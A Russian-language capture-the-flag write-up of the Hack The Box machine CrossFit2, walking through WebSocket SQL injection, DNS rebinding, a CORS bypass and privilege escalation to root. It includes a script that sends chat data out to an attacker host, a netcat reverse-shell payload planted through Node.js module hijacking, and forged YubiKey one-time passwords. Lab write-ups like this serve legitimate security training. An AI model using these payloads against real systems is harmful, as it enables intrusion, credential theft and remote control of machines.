Hacking

Зах­ват машины слож­ности Insane с площадки Hack The Box

В сегодняшней статье мы атакуем DNS rebinding, попытаемся разобраться с технологией WebSocket, попользуем уязвимость в приложении на Node.js а так же поработаем с технологией UNION SQL Injection. Разберем как войти на хост с помощью YubiKey. Все это позволит нам  осуществить зах­ват машины слож­ности Insane с площадки Hack The Box.

Разведка

Ад­рес машины — 10.10.10.232, добав­ляем его в /etc/hosts как crossfit2.htb и прис­тупа­ем к ска­ниро­ванию пор­тов.

Сканирование портов

Сканирование портов — типичная 1-я подвижка в любой атаке. В итоге злоумышленник узнает, какие службы на хосте принимают соединение. Данные сведения дают возможность вам выбрать другой путь к точке входа.

Наиболее признанный механизм сканирования — Nmap. Результаты его работы улучшаем с помощью следующего скрипта.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Скрипт функционирует в 2 стадии. Первая — это обычное быстрое сканирование, вторая — более глубокое сканирование с использованием существующих скриптов для Nmap (опция -A).

По­луча­ем сле­дующие резуль­таты.

Работа скрип­та

Как видим, мы име­ем три откры­тых пор­та:

  • 22 — служ­ба OpenSSH 8.4;
  • 80 — веб‑сер­вер OpenBSD httpd PHP/7.4.12;
  • 8953 — служ­ба Unbound.

Пер­вым делом сто­ит заг­лянуть на дос­тупный сайт.

Главная стра­ница сай­та

Сканирование веб-контента

Дабы ничего никак не осталось необнаруженным, мы будем собирать информацию на сайте через Прокси. В заголовке страницы мы находим навигацию, а также определяем, что последняя ссылка ведет на другой поддомен: worker.crossfit.htb. Добавьте его в файл / etc / hosts, а также измените запись, которая у нас естьcrossfit2.htb на crossfit.htb.

10.10.10.232 crossfit.htb employees.crossfit.htb

На самом веб-сайте нас принимает форма авторизации, больше ничего там искать не будем. Поскольку все наши действия привязаны к Burp, давайте взглянем на историю Burp. Там мы обнаружим, что при доступе к главной странице делается запрос для другого поддомена.

Burp History

До­бавим этот под­домен в файл /etc/hosts и пов­торим зап­рос к глав­ной стра­нице. Затем отпра­вим­ся в Burp и про­верим ответ, который вер­нул сер­вер при зап­росе к новому под­домену.

10.10.10.232 crossfit.htb employees.crossfit.htb gym.crossfit.htb
Вклад­ка Burp History

В отве­те видим опо­веще­ние о сме­не про­токо­ла на WebSocket.

ТОЧКА ВХОДА

WebSocket

WebSocket — это протокол связи через TCP-соединение с целью обмена информацией между ​браузером и веб-сервером в реальном времени. WebSocket особенно подходит для сервисов, требующих постоянного обмена данными, таких как онлайн-игры, торговые площадки, чаты.

После окончания установления соединений, больше нет разделения на клиент и сервер, а есть два участника с равными правами в обмене данными. Каждый работает на себя и при необходимости передает данные другому.

Чтобы просмотреть сообщения по протоколу WebSocket, перейдем в историю Burp WebSocket. Там мы находим одно сообщение, содержимое которого будет содержать приветствие, информацию о команде помощи и своего рода токен.

Burp WebSocket History

Ра­ботать с WebSocket будет удоб­но с помощью инте­рак­тивной кон­соли. Ее нес­ложно орга­низо­вать при помощи Python 3 и модуля websockets.

python3 -m websockets ws://gym.crossfit.htb/ws/

Соеди­нение WebSockets

После успешного подключениямы тут же приняли знакомое уведомление. Попробуем получить помощь. Сообщение с командой также должно быть отправлено в формате JSON.

{"command":"help"}

Зап­рос справ­ки

В результат нам уведомляют об неверном токене, поэтому мы повторяем отправку, но включаем новый параметр.

{"command":"help","token": "29a20a82768c1531e28fe18a519a59fbe986801ebdcd543920dbe3bdaa8c20d9"}

Пов­торный зап­рос справ­ки

Наше извещение остается без реакции, и уже после повторной отправки нам обычно сообщают, что токен больше не действителен, и предоставляется новый токен.  Поищем код, отвечающий за отправку сообщений. В панели браузера перейдите на вкладку «Отладка» и найдите ws.min.js.

Пов­торный зап­рос справ­ки

В коде находим отправ­ку сооб­щения в парамет­ре messageи токена — в парамет­ре token. Отправ­ляем свое сооб­щение в ана­логич­ном фор­мате.

{"message":"help","token":"cdfc745eb97670fb768678a2fbe3d37eabd307dac630720392892e5525ad87f8"}

Пов­торный зап­рос справ­ки

Ну вот и пришел ответ, из которого мы узнаем о доступных командах: coaches, classes и memberships.

От­пра­вим полностью 3 коман­ды и вни­матель­но пос­мотрим на ответ сер­вера.

coaches

classes

memberships

В абсолютно всех вариантах нам вернули HTML-код страницы. В первой версии мы получаем информацию только о трейнерах, во второй — список классов, но в ответ на команду принадлежности вместе со списком приходит выбор вариантов. Он реализован как функция check_availability, которой передается число от 1 до 4. Посмотрим код этой функции в уже знакомом файле ws.min.js.

Код фун­кции check_availability

Фун­кция отправ­ляет три парамет­ра:

  • message— содер­жит стро­ку available;
  • params— чис­ло, передан­ное в фун­кцию;
  • token.

{"message":"available","params":"1","token":"6775bfe48d278f7a5bc90dcb6c0e9b47e8cfcfa266

От­прав­ка сооб­щения available

В данном сообщении я отослал четыре параметра и получил два разных варианта ответа: успешно и нет. Мы также получаем объяснение в параметре отладки. То есть мы отправляем параметр, который система обрабатывает и выдает результат, а значит это место для тестирования.

Даль­ше я написал скрипт на Python 3, который в цик­ле зап­рашива­ет параметр.

#!/usr/bin/python3
import json
from websocket import create_connection
def send_command(ws, token):
inp = input(">")
ws.send('{"message":"available","params":"' + inp + '","token":"' + token + '"}')
req = ws.recv()
token = json.loads(req)['token']
print(req)
return token
ws = create_connection("ws://gym.crossfit.htb/ws/")
req = ws.recv()
token = json.loads(req)['token']
for _ in range(100):
token = send_command(ws, token)
Ре­зуль­тат работы скрип­та

SQL Injection

Поскольку ответ выбирается на основе отправленного параметра, первое, что я решил сделать, это протестировать SQL-инъекцию. К счастью, я регулярно составляю словари для тестирования и нужный есть под рукой. Чтобы использовать это, давайте несколько подправим ​код

#!/usr/bin/python3
import json
import time
from websocket import create_connection
def send_command(ws, token):
inp = input("> ")
ws.send('{"message":"available","params":"' + inp + '","token":"' + token + '"}')
req = ws.recv()
token = json.loads(req)['token']
print(req)
return token
def send_command2(ws, token, inp):
print("input: <" + inp + ">")
ws.send('{"message":"available","params":"' + inp + '","token":"' + token + '"}')
req = ws.recv()
token = json.loads(req)['token']
print(req)
return token
ws = create_connection("ws://gym.crossfit.htb/ws/")
req = ws.recv()
token = json.loads(req)['token']
with open('/home/ralf/tmp/wordlists/SQL/1.check_sqli.txt', 'r') as f:
wordlist = f.read().split('\n')[:-1]
for w in wordlist:
token = send_command2(ws, token, w)
Ре­зуль­тат работы скрип­та
Когда мы отправляем сообщение, содержащее двойные кавычки («), мы не получаем ответа. По этой причине мы исключим из словаря любую полезную нагрузку, содержащую этот символ. И мы повторим выполнение.
Ре­зуль­тат работы скрип­та
Ре­зуль­тат работы скрип­та (про­дол­жение)
В процессе просмотра вывода, обна­руживается реак­ция сер­вера на четыре наг­рузки. Видим ком­мента­рий SQL:
  • 1 and 1и 1 and true вер­нет дей­стви­тель­ный ответ;
  • 1 and 0 и 1 and false вер­нет наш ввод;
  • 1 --- вер­нет дей­стви­тель­ный ответ.

Я обнаружил уязвимость, и теперь ее нужно использовать. В первую очередь найдем нагрузки для работы, потом поменяем словарь и повторим выполнение скрипта.

Ре­зуль­тат работы скрип­та

Ре­зуль­тат работы скрип­та (про­дол­жение)

Результатом является реакция на нагрузки UNION. При отправке -1 UNION ALL SELECT 1,2 # мы получаем ответ, параметр name которого содержит 2, а при отправке -1 UNION ALL SELECT USER (), SLEEP (5) — параметр ID объекта ответа содержит имя пользователь базы данных … Эта уязвимость называется UNION SQL Injection и позволяет добавлять столбцы таблицы в выделенные области, которые ранее были для нас невидимы.

Вернемся к последним двум строкам нашего оригинального скрипта для ручной работы и приступим к экс­плу­ата­ции.

for _ in range(100):

token = send_command(ws, token)

Пер­вым делом получим вер­сию базы дан­ных.

-1 UNION ALL SELECT 1,@@version #

Вер­сия базы дан­ных

MySQL работает на хосте, поэтому мы продолжим использовать ее синтаксис. Получим названия всех доступных баз данных. Мы можем напечатать только одну строку, поэтому мы используем функцию GROUP_CONCAT для объединения нескольких строк в одну с пробелом в качестве разделителя.

-1 UNION ALL SELECT 1,GROUP_CONCAT(schema_name, ' ') FROM information_schema.schemata

Спи­сок имен баз

База information_schema — это слу­жеб­ная база, поэтому она нам не интересна. Давайте узнаем привилегии нашего пользователя в других базах данных.

-1 UNION ALL SELECT 1,GROUP_CONCAT(grantee, ' ', table_schema,' ', privilege_type, '\n') F

Польовательсие привилегии для баз

Мы можем экспериментировать равно как с сrossfit, так и с базой employees. Для начала выясним названия таблиц.

-1 UNION ALL SELECT 1,GROUP_CONCAT('\n', table_schema, ': ',table_name) FROM infor

Таб­лицы в базах crossfit и employees

В базе данных сrossfit не было ничего интересного, таблица password_reset давала надежду, но она была пуста.

По­лучим наз­вания стол­бцов в таб­лице employees.

-1 UNION ALL SELECT 1,GROUP_CONCAT('\n', column_name) FROM information_schema.columns WHERE table_name = 'employees' #

Стол­бцы в таб­лице employees

Мы можем получить учет­ные дан­ные для сай­та. Зап­росим име­на, пароли и адре­са элек­трон­ной поч­ты.

-1 UNION ALL SELECT 1,GROUP_CONCAT('\n', username, ' ', password, ' ', email) FROM

У нас есть четыре поль­зовате­ля и хеши от их паролей. С помощью ути­литы hashid опре­делим тип хешей.

Ре­зуль­тат работы hashid

Скорее всего, хеш-код будет SHA-256 из-за его популярности, но сломать хэши и авторизоваться на сайте не получилось. Найти хотя бы один из прообразов хэша ни в онлайн-базах, ни с помощью локального поиска не удалось. Итак, давайте посмотрим, какие еще привилегии есть у нашего пользователя базы данных.

-1 UNION ALL SELECT 1,GROUP_CONCAT('\n', grantee, ' ', privilege_type) FROM information_

При­виле­гии поль­зовате­ля базы дан­ных

Мы можем читать фай­лы на хос­те! Пер­вым делом, конеч­но же, про­чита­ем /etc/passwd.

-1 UNION ALL SELECT 1,LOAD_FILE('/etc/passwd') #

Мы находим пользователей node, david и john, у которых есть возможность войти в систему. А поскольку мы имеем дело с OpenBSD, в этом файле также отражены абсолютно все сервисы. Изучив этот список, мы отмечаем демона relayd, который может давать нам новые адреса, и unbound, поскольку он имеет доступ к внешнему порту 8953. Сначала давайте посмотрим настройки реле, прочитав файл /etc/relayd.conf.

-1 UNION ALL SELECT 1,LOAD_FILE('/etc/relayd.conf') #

фай­л /etc/relayd.conf

Таким образом мы находим еще 1 домен, crossfit-club.htb, который добавляем в файл / etc / hosts.Заглянем на одноименный сайт, который встречает нас с формой авторизации.

Фор­ма входа

Поскольку мы все еще отправляем запросы через Burp Proxy, это помогает нам определять подключение определенных API, на что указывает вызов / api / auth.

Burp History

При попытке авторизации с тестовыми учетными данными мы находим другую страницу, которая работает с форматом JSON.

Вы­пол­нение зап­роса на авто­риза­цию

Кроме того, на сайте есть регистрационная форма. Кнопка в ней может быть отключена, но мы все равно можем попробовать авторизоваться — используя Burp Repeater. Получим имена переменных из исходного кода страницы и отправим тестовые данные в / api / signup. Но в ответ нам сообщат, что эта функция доступна только администратору.

Фор­ма регис­тра­ции

Вы­пол­нение зап­роса на регис­тра­цию

Продолжаем движение.

ТОЧКА ОПОРЫ

Unbound

Те­перь перей­дем к Unbound. Unbound — это кеширу­ющий DNS-сер­вер, который обслу­жива­ет исклю­читель­но рекур­сивные зап­росы. Во вре­мя работы сер­вера кеш целиком рас­полага­ется в памяти, а его раз­мер огра­ничен ука­зан­ным объ­емом. Из фай­ла /etc/passwdмы узна­ли домаш­нюю дирек­торию Unbound/var/unbound. Пер­вым делом прос­мотрим кон­фигура­ции /var/unbound/etc/unbound.conf.

-1 UNION ALL SELECT 1,LOAD_FILE('/var/unbound/etc/unbound.conf') #

фай­л unbound.conf

В конфигурации находится опция удаленной настройки, которая позволит нам настроить DNS-сервер. В этом же файле находим пути к ключам, необходимым для взаимодействия, которые мы прочитаем и сохраним на локальном хосте.

/var/unbound/db/root.key

/var/unbound/etc/tls/unbound_server.key

/var/unbound/etc/tls/unbound_server.pem

/var/unbound/etc/tls/unbound_control.key

/var/unbound/etc/tls/unbound_control.pem
По­луче­ние клю­чевых фай­лов Unbound

Конфигурация Unbound

Порт на сер­вере открыт, уда­лен­ный кон­троль акти­вен, клю­чи у нас есть. Давайте поп­робу­ем уста­новить вза­имо­дей­ствие, для это­го сна­чала уста­новим Unbound.

sudo apt install unbound

Далее после установки скопируем полученные файлы ключей в каталог / etc / unbound /, а сам сервис настроим как на сервере. Файл /etc/unbound/unbound.conf должен содержать параметр удаленного управления:

remote-control:
control-enable: yes
control-interface: 0.0.0.0
control-use-cert: yes
server-key-file: "/etc/unbound/unbound_server.key"
server-cert-file: "/etc/unbound/unbound_server.pem"
control-key-file: "/etc/unbound/unbound_control.key"
control-cert-file: "/etc/unbound/unbound_control.pem"

Те­перь про­верим под­клю­чение к служ­бе Unbound уда­лен­ного хос­та с помощью unbound-control.

sudo unbound-control -c /etc/unbound/unbound.conf -s 10.10.10.232@8953 status

Под­клю­чение к служ­бе Unbound

DNS rebinding

DNS rebinding — это атака, при которой вредоносная веб-страница вынуждает браузер пользователя запускать сценарий, который обращается к другим сайтам и службам. Теоретически пра­вила огра­ниче­ния домена (Same Origin Policy) пре­пятс­тву­ют подоб­ным запус­кам: клиентские скрипты могут получать доступ к данным только со страницы, с которой был получен скрипт. Во время применения политики браузер сравнивает доменные имена, но повторная атака обходит эту защиту, злоупотребляя способностью DNS быстро менять адреса.

Дело в том, что злоумышленник регистрирует домен и контролирует обслуживающий его DNS-сервер. DNS-сервер настроен так, что его ответы содержат очень короткий TTL, что не позволяет клиенту или преобразователю кэшировать ответ. Когда жертва начинает просматривать вредоносный домен, DNS-сервер злоумышленника сначала возвращает реальный IP-адрес веб-сервера, который доставит вредоносный код клиенту. Затем вредоносный код на стороне клиента выполняет дальнейшие вызовы исходного доменного имени. Сама политика происхождения допускает такие запросы. Однако во время выполнения скрипта в браузере жертвы из-за устаревания предыдущего DNS-ответа для этого домена делается новый DNS-запрос, который отправляется на DNS-сервер злоумышленника.

Поскольку домен указывается в настройках релея с использованием маски * employee.crossfit.htb, мы можем зарегистрировать собственный домен, например ralfemployees.crossfit.htb. Мы также добавим наш домен в файл / etc / hosts. А теперь мы указываем перенаправление DNS для нашего хоста, чтобы при поступлении запроса на домен ralfemployees.crossfit.htb на сервер он запрашивал соответствующий адрес у нашего DNS-сервера.

unbound-control -c /etc/unbound/unbound.conf -s 10.10.10.232@8953 forward_add +i ralfemployees.crossfit.htb. 10.10.14.117@53

Нас­трой­ка Unbound

Итак настройки работают, осталось разобраться с локальным DNS сервером. Таким образом, мы можем использовать облегченную утилиту dnschef, которая уже предустановлена ​​в некоторых боевых дистрибутивах, таких как Kali Linux. Мы указываем интерфейс (опция -i), наш домен (—fakedomains) и адрес, который будет ему соответствовать (—fakeip).

dnschef -i 10.10.14.117 --fakedomains ralfemployees.crossfit.htb --fakeip 10.10.14.117

Зап­рос сме­ны пароля

Все обращения с ralfemployees.crossfit.htb теперь должны вести на наш локальный веб-сервер. Чтобы проверить это, запустите прослушиватель на порту 80 (используйте netcat — nc -lvp 80) и запустите запрос на смену пароля, но на нашем виртуальном хосте. Но сервер ответит, что эта услуга доступна только для локального хоста. Затем вернем адрес 127.0.0.1 и повторно запустим запрос.

dnschef -i 10.10.14.117 --fakedomains ralfemployees.crossfit.htb --fakeip 127.0.0.1

Ло­ги dnschef

Зап­рос сме­ны пароля

В результате видим, что запрос выполнен успешно, а в окне журнала dnschef мы видим две записи, то есть есть два запроса. Теперь давайте выполним атаку DNS rebinding. Для этого мы пишем сценарий, который перезапускает dnschef после двух вызовов, чтобы он указывал на наш, а не на локальный адрес с новыми настройками. В этом случае после запуска мы выполняем запрос на смену пароля, чтобы следующий запрос от другого пользователя был получен на нашем сервере.

#!/bin/bash
count=0
dnschef -i 10.10.14.117 --fakedomains ralfemployees.crossfit.htb --fakeip 127.0.0.1 2>&1 | while read line
do
case "$line" in *response*) (( count++ ))
echo "Request $count"
[[ "$count" -gt 1 ]] && pkill -f dnschef
esac
done
dnschef -i 10.10.14.117 --fakedomains ralfemployees.crossfit.htb --fakeip 10.10.14.117
curl -s -X "POST" -H "Host: ralfemployees.crossfit.htb" -H "Content-Type: application/x-www-form-urlencoded" -d "email=david.palmer%40crossfit.htb" "http://10.10.10.232/password-reset.php"
Ло­ги dnschef
Ок­но netcat
Через минуту на наш DNS пришел запрос, и dnschef вернул наш адрес. В окне netcat мы сразу увидим запрос на изменение пароля пользователя. Атака прошла успешно, эту уязвимость еще предстоит использовать. Для этого мы создаем на нашем сервере файл password-reset.php, содержащий код JavaScript. Этот код выполнит запрос к http: //crossfit-club.htb/api/auth, получит токен от сервера и сделает еще один запрос на создание пользователя в чате (эта функция была у нас недоступна).
<html>
<script>
var xhr = new XMLHttpRequest();
const url = "http://crossfit-club.htb/api/auth";
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
var obj = JSON.parse(xhr.response);
var xhr2 = new XMLHttpRequest();
xhr2.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr2.setRequestHeader("X-CSRF-TOKEN", obj.token);
const data = JSON.stringify({ "username" : "ralf2", "password" : "ralf2", "confirm" : "ralf2", "email" : "ralf2@ralf.htb" });
xhr2.withCredentials = true;
xhr2.send(data);
}
}
xhr.open("GET", url);
xhr.withCredentials = true;
xhr.send();
</script>
</html>
Запустим веб-сервер Apache с помощью команды sudo service apache2 start и поместим сценарий в каталог / var / www / html / веб-сервера. Затем мы повторяем нашу атаку и после появления подсказок в окне dnschef смотрим логи Apache в файле /var/log/apache2/access.log.
Пытаемся авториоваться на наем сайте. Не выходит. В чем же дело?
Фор­ма авто­риза­ции crossfit-club.htb
Запросы GET не поддерживаются, а запросы POST требуют указания параметров. В то же время, благодаря HTTP-методу OPTIONS, мы можем безопасно общаться с сервером и узнавать, какие запросы он принимает. В ответ мы увидим [Vary] (https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Vary): Origin. Это означает, что нам нужно передать заголовок Origin, который показывает, откуда он будет загружен. Он не содержит информации о пути, а содержит только имя сервера. Origin часто используется в CORS, что нам необходимо проверить.

CORS

CORS (Cross-Origin Resource Sharing) — это механизм, который сообщает браузеру, какие внешние ресурсы можно использовать при загрузке веб-страницы. Чтобы это работало, ответ стороннего сервера должен содержать допустимый заголовок CORS. Давайте отправим тестовые сообщения с разными значениями этого заголовка, чтобы определить «хорошие» домены, которые передают запрос.

crossfit-club.htb

employees.crossfit.htb

gym.crossfit.htb

ralfemployees.crossfit.htb

Почти во всех ответах мы видим совпадающие домены в заголовке Access-Control-Allow-Origin. Исключение составляет наш ralfemployees.crossfit.htb. Поэтому запрос был заблокирован. То же самое произошло с нашим поддельным запросом, который должен был создать пользователя.

Довольно-таки нередко в том числе и отличные технологии содержат уязвимости из-за ошибки человеа. Например, разработчик мог не экранировать определенные символы при настройке CORS. Если символ точки указан в файле конфигурации без обратной косой черты, то вместо разделителя домена мы получаем регулярное выражение, которое соответствует любому символу. Проверим это, заменив точку на букву.

gymRcrossfit.htb

Зап­рос про­шел, зна­чит, адрес http://gymRcrossfit.htb не заб­локиро­ван.

Мы можем исполь­зовать это, соз­дав соот­ветс­тву­ющий домен. Прос­то изме­ним ralfemployeesна gymRcrossfit. Пра­вим скрипт fake_dns.sh.

#!/bin/bash
count=0
dnschef -i 10.10.14.117 --fakedomains gymRcrossfit.htb --fakeip 127.0.0.1 2>&1 | while read line
do
case "$line" in *response*) (( count++ ))
echo "Request $count"
[[ "$count" -gt 1 ]] && pkill -f dnschef
esac
done
dnschef -i 10.10.14.117 --fakedomains gymRcrossfit.htb --fakeip 10.10.14.117

За­тем перекон­фигури­руем Unbound:

unbound-control -c /etc/unbound/unbound.conf -s 10.10.10.232@8953 forward_add +i gymRcrossfit.htb. 10.10.14.117@53

И пов­торя­ем ата­ку. Нам нуж­но, что­бы ори­гиналь­ный домен при­сутс­тво­вал в заголов­ке HOST, поэто­му ука­жем его в качес­тве пути пос­ле нашего домена.

curl -s -X "POST" -H "Host: gymRcrossfit.htb/employees.crossfit.htb" -H "Content-Type: application/x-www-form-urlencoded" -d "email=david.palmer%40crossfit.htb" "http://10.10.10.232/password-reset.php"

Спус­тя две‑три минуты в логах Apache уви­дим зап­рос, а затем успешно авто­ризу­емся на ата­куемом сай­те.

Глав­ная стра­ница сай­та

На сай­те иметься в наличии чат. Спустя нес­коль­ко секунд мы начина­ем получать сооб­щения в нем.

Глав­ная панель чата

Со­обще­ния в гло­баль­ном чате

Прос­матри­вая зап­росы в Burp, видим, что исполь­зует­ся тех­нология socket.io.

Зап­росы в Burp History

Но запрос на подключение к чату намного интересней

Па­рамет­ры для добав­ления к чату

Воможно ли войти как администратор? То есть повторить атаку, но не для создания пользователя, а для получения сообщений. Включите в код библиотеку socket.io.js и повторите запрос. Полученные данные в кодировке Base64 мы отправим в качестве параметра на нашу страницу. Новый код password-reset.php показан ниже.

<html>
<head>
<script src="http://crossfit-club.htb/socket.io/socket.io.js"></script>
<script>var s = io.connect("http://crossfit-club.htb");
s.emit("user_join", { username : "Admin" });
s.on("private_recv", (d) => {var xhr = new XMLHttpRequest();
xhr.open("GET", "http://10.10.14.117/evil.php?q=" + btoa(JSON.stringify(d)), true);
xhr.send();
});
</script>
</head>
<body></body>
</html>
Ло­ги Apache
В логах сервера мы сначала видим вызов страницы evil.php с эксфиль­тра­цией дан­ных. Расшифровываем Base64 и получаем пароль в одном из сообщений. Этот пароль позволяет вам войти в систему как пользователь david.
Де­коди­рова­ние дан­ных
Флаг поль­зовате­ля

ПРОДВИЖЕНИЕ

Мы наконец‑то доб­рались до SSH, но пока лишь в качес­тве поль­зовате­ля. Что­бы узнать, куда дви­гать­ся даль­ше, исполь­зуем скрип­ты PEASS.

Справка: скрипты PEASS

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате.

Что­бы вос­поль­зовать­ся скрип­том, его нуж­но сна­чала заг­рузить на локаль­ный хост.

wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh

За­тем с помощью встро­енных средств SSH заг­ружа­ем скрипт на уда­лен­ный хост, наз­нача­ем ему пра­ва и выпол­няем.

scp /home/ralf/tmp/tools/linpeas.sh david@crossfit.htb:/tmp/
chmod 777 /tmp/linpeas.sh
/tmp/linpeas.sh
Ана­лизи­руя вывод PEASS, становятся видны две важные для нас вещи. Во‑пер­вых, для груп­пы sysadmins, в которой мы сос­тоим, дос­тупна дирек­тория /opt/sysadmins.
Дос­тупные для записи дирек­тории

Во‑вто­рых, в спис­ке недав­но модифи­циро­ван­ных фай­лов отме­чен какой‑то лог /tmp/chatbot.log.

Спи­сок недав­но модифи­циро­ван­ных фай­лов

В этом логе находим информа­цию о том, что каж­дую минуту запус­кает­ся бот.

Со­дер­жимое фай­ла /tmp/chatbot.log

А из содер­жимого катало­га /opt/sysadmin узна­ем, что это за бот.

Со­дер­жимое катало­га /opt/sysadmin

Бот уста­нав­лива­ет соеди­нение WebSocket и записы­вает резуль­тат в лог.

Са­мое инте­рес­ное в этом фай­ле — под­клю­чение самопис­ного модуля log-to-file.

const logger = require('log-to-file');

Node.js

Обыч­ным поис­ком по фай­ловой сис­теме ищем этот модуль и смот­рим содер­жимое.

find / -type d -name 'log-to-file' -ls 2>/dev/null

По­иск катало­га log-to-file

Со­дер­жимое катало­га log-to-file

Все файлы доступны только для чтения, поэтому мы не можем взять их и написать для них код. Но интересен способ подключения каталога log-to-file.

Если идентификатор модуля, переданный в функцию require (), не является собственным модулем Node.js и не начинается с одной из последовательностей /, ../ или ./, то Node.js пытается найти каталог / node_modules в каталоге родительский каталог текущего исполняемого модуля и подключить из него требуемый модуль. Если это не удается, Node.js поднимается еще на один каталог и повторяет процесс. Таким образом, в нашем примере Node.js создает следующую последовательность подключения:

  1. /opt/sysadmin/server/statbot/node_modules/log-to-file
  2. /opt/sysadmin/server/node_modules/log-to-file
  3. /opt/sysadmin/node_modules/log-to-file
  4. /opt/node_modules/log-to-file
  5. /node_modules/log-to-file

Так как каталог /opt/sysadmin дос­тупен для записи, мы можем соз­дать в нем струк­туру катало­гов /node_modules/log-to-file, где помес­тим свой вре­донос­ный код, к при­меру реверс‑шелл:

require("child_process").exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.117 4321 >/tmp/f");

Справка: реверс-шелл

Обратный шелл — это соединение, которое активирует атакованный компьютер, а мы принимаем его и, таким образом, подключаемся к нему, чтобы выполнять команды от имени пользователя, запустившего шелл. Чтобы получить соединение, вы должны создать listener на локальной машине, то есть «слушателя».

В этих случаях рационально применять rlwrap, оболочку readline, которая, помимо прочего, позволяет использовать историю команд. Обычно он доступен в репозитории дистрибутива.

apt install rlwrap

В качес­тве самого лис­тенера при этом мож­но исполь­зовать широко извес­тный netcat.

rlwrap nc -lvp [port]

Вы­пол­няем ука­зан­ные выше дей­ствия и в течение минуты получим бэк­коннект.

mkdir /opt/sysadmin/node_modules

cp -R /usr/local/lib/node_modules/log-to-file /opt/sysadmin/node_modules/

rm /opt/sysadmin/node_modules/log-to-file/app.js

echo 'require("child_process").exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.117 4321 >/tmp/f");' > /opt/sysadmin/node_modules/log-to-file/app.js

Бэк­коннект в окне netcat

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Поскольку контекст также изменился со сменой пользователя, стоит еще раз проверить систему на предмет способов повышения привилегий. После перезапуска LinPeas мы найдем приложение / usr / local / bin / log, в котором установлены биты SUID и SGID. А поскольку его владельцем является root, это приложение будет работать в контексте с высокими привилегиями.

При­ложе­ния с уста­нов­ленным SGID

После запуска приложения выясняем, что достаточно в качестве параметра указать путь к файлу.

За­пуск /usr/local/bin/log

Теперь понятно что мы можем читать любой файл в системе. Но вопрос в том, какой файл читать, учитывая, что мы работаем в OpenBSD. Конечно, вы можете узнать корневой файл и передать флаг, но наша задача — получить контроль. Не удалось прочитать ключ SSH, потому что такого файла не было.

Вывод LinPeas также содержит каталог с резервными копиями бэкапов, доступ к которому может получить только root. Таким образом мы можем прочитать любой сохраненный файл.

Для того чтобы выяснить, какие файлы были скопированы в OpenBSD, мы можем посмотреть содержимое / etc / changelist.

Сдесь мы найдем ключ SSH пользователя root.

При резервном копировании имена файлов создаются на основе их полного пути, а косая черта заменяется подчеркиванием. В результирующую строку добавляется расширение .current. Таким образом, файл /root/.ssh/id_rsa будет сохранен как root_.ssh_id_rsa.current.

/usr/local/bin/log /var/backups/root_.ssh_id_rsa.current

Чте­ние резер­вной копии фай­ла клю­ча

К моему большому огорчению, войти в систему с этим ключом не удалось, так как был запрошен пароль.

Под­клю­чение по SSH

Обратим внимание на настройки SSH и конфигурацию входа в систему. Из файла / etc / ssh / sshd_config мы узнаем, что для рутирования требуются как ключ, так и пароль. И на основе содержимого файла /etc/login.conf мы определяем, что SSH требует YubiKey.

Со­дер­жимое фай­ла sshd_config

Со­дер­жимое фай­ла login.conf

YubiKey — это аппаратный ключ безопасности, производимый Yubico. Он использует универсальный протокол двухфакторной аутентификации, одноразовые пароли и асимметричное шифрование. YubiKeys используют алгоритмы HOTP и TOTP, имитируя клавиатуру с использованием протокола USB HID.

В OpenBSD имеется встроенная поддержка входа в систему YubiKey. Аутентификация YubiKey не заменяет аутентификацию по паролю, но выполняет как аутентификацию по паролю, так и аутентификацию YubiKey. Но в нашем случае с SSH — по ключу и OTP YubiKey. Для работы с YubiKey без аппаратного ключа также можно использовать низкоуровневый программный пакет yubico-c, который можно скачать с сайта производителя. После скачивания нужно выпол­нить сбор­ку.

sudo apt install asciidoc-base dh-autoreconf
./configure
make check
sudo make install
Тес­товый запуск при­ложе­ния
В данный момент нам необходимо получить файлы ключей целевого хоста, расположенные в следующем каталоге /var/db/ybikey/$user.key, где $ user — целевой пользователь. В случае пользователя root нам понадобятся файлы
  • root.key — AES-ключ;
  • root.uid — иден­тифика­тор;
  • root.ctr — счет­чик.
/usr/local/bin/log /var/db/yubikey/root.key
/usr/local/bin/log /var/db/yubikey/root.uid
/usr/local/bin/log /var/db/yubikey/root.ctr
фай­лы клю­чей
Теперь об параметрах дополнения ykgenerate. Нам нужно передать ключ AES, идентификатор пользователя, первые 16 бит счетчика, строку c0 до 8 00 и последние 8 бит счетчика, установленного в единицу. Для преобразования переведем значение счетчика в шестнадцатеричную форму, после чего мы сможем его разделить.
Пре­обра­зова­ние зна­чения счет­чика

Те­перь мы можем получить OTP:

./ykgenerate 6bf9a26475388ce998988b67eaa2ea87 a4ce1128bde4 0f08 c0a8 00 02
По­луче­ние OTP
Мы получи­ли OTP и можем исполь­зовать его как пароль SSH при предъ­явле­нии клю­ча.
Флаг рута

Итог

Ну что ж в данной стать мы попрактиковались в применении различных средств атаки и захватили при этом машину в полное свое управление.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Click to rate this post!
[Total: 0 Average: 0]
faza

Recent Posts

Лучший адаптер беспроводной сети для взлома Wi-Fi

Чтобы взломать сеть Wi-Fi с помощью Kali Linux, вам нужна беспроводная карта, поддерживающая режим мониторинга…

9 месяцев ago

Как пользоваться инструментом FFmpeg

Работа с консолью считается более эффективной, чем работа с графическим интерфейсом по нескольким причинам.Во-первых, ввод…

9 месяцев ago

Как создать собственный VPN-сервис

Конечно, вы также можете приобрести подписку на соответствующую услугу, но наличие SSH-доступа к компьютеру с…

9 месяцев ago

